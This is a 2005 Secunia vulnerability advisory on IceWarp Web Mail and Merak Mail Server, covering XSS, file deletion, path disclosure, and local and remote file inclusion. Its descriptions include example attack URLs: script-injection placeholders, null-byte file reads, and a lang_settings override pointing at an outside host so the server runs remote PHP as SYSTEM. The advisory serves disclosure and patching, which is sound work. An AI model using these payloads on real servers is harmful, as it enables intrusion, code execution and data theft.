Secunia Logo
Netsikker nu! 2008
 
IceWarp Web Mail Multiple Vulnerabilities
Secunia Advisory: SA17046
Release Date: 2005-10-03
Last Update: 2006-01-20
Popularity: 8,725 views

Critical:
Highly critical
Impact: Cross Site Scripting
Manipulation of data
Exposure of system information
Exposure of sensitive information
System access
Where: From remote
Solution Status: Partial Fix

Software:IceWarp Web Mail 5.x
Merak Mail Server 8.x

Subscribe: Instant alerts on relevant vulnerabilities

CVE reference:CVE-2005-3131
CVE-2005-3132
CVE-2005-3133


Description:
Some vulnerabilities have been discovered in IceWarp Web Mail, which can be exploited by malicious people to conduct cross-site scripting attacks, delete arbitrary files, disclose system and sensitive information, and to compromise a vulnerable system.

1) Some input isn't properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Examples:
http://[host]:32000/mail/blank.html?id=[code]
http://[host]:32000/mail/calendar_d.html?schedule=1&print=1&createdataCX=[code]
http://[host]:32000/mail/calendar_m.html?schedule=1&print=1&createdataCX=[code]
http://[host]:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[code]

2) The problem is that it is possible to disclose the full path to the installation directory by accessing the "mail/bwlist_inc.html" and "accounts/bwlist_inc.html" scripts directly.

3) Input passed to the "id" parameter in "mail/logout.html" isn't properly verified, before it is used to delete files. This can be exploited to remove arbitrary files and empty directories.

4) Input passed to the "helpid" parameter in "accounts/help.html" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from local resources.

Vulnerabilities #1 through #4 have been confirmed in Merak Mail Server 8.2.4r with IceWarp Web Mail 5.5.1. Other versions may also be affected.

5) The webmail and webadmin services run with PHP configured with "register_global" enabled. The "language" and "lang_settings" variables in "/accounts/inc/include.php" and "/admin/inc/include.php" are not properly initialised when the scripts are accessed directly. This makes it possible to overwrite the variables to cause the scripts to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/
http://[host]:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/

Successful exploitation allows execution of arbitrary PHP code on a vulnerable server with SYSTEM privileges without requiring authentication.

6) Input passed to the "lang" parameter in "/dir/include.html" isn't properly validated before being used to include files. This can be exploited to include arbirary files from local sources.

Example:
http://[host]:32000/dir/include.html?lang=[file]%00

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

7) Input passed to the "language" parameter in "/mail/settings.html" isn't properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/;

Successful exploitation allows execution of arbitrary PHP scripts on a vulnerable server with SYSTEM privileges but requires a valid logon.

8) The "default_layout" and "layout_settings" variables are not properly initialised when "/mail/include.html" encounters a HTTP_USER_AGENT string that it does not recognise. This can be exploited in conjunction with overwrite of the "default_layout" and "layout_settings" variables to disclose the content of local files.

Example (using non-IE/Mozilla/Firefox browser):
http://[host]:32000/mail/index.html?/mail/index.html?
default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

Vulnerabilities #5 through #8 have been confirmed in Merak Mail Server 8.3.0r with IceWarp Web Mail 5.5.1. Other versions may also be affected.

Solution:
Update to Merak Mail Server version 8.3.5r.
http://www.merakmailserver.com/Download/

Note: Vulnerability #1 has not been fixed in version 8.3.5r.

Provided and/or discovered by:
1-4) ShineShadow
5-8) Tan Chew Keong, Secunia Research.

Changelog:
2005-12-27: Updated advisory.
2006-01-20: Added CVE references.
2006-01-20: Added CVE reference.

Original Advisory:
Secunia Research:
http://secunia.com/secunia_research/2005-62/advisory/


Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. phpBB Avatar Script Insertion Vulnerability // 117 views
2. phpBB "gen_rand_string()" Predictable RNG Weakness // 110 views
3. phpBB "url" bbcode Script Insertion Vulnerability // 79 views
4. phpBB Avatar Functions Information Disclosure and Deletion // 71 views
5. phpBB BBcode "url" Script Insertion Vulnerability // 69 views
6. phpBB Multiple Vulnerabilities // 54 views
7. Microsoft Windows Vista Page Fault Handling Denial of Service // 42 views
8. VMware ESX Server Sun Java JDK / JRE Multiple Vulnerabilities // 42 views
9. VMware ESX / ESXi "JMP" Privilege Escalation Vulnerability // 34 views
10. VMware VirtualCenter Multiple Vulnerabilities // 33 views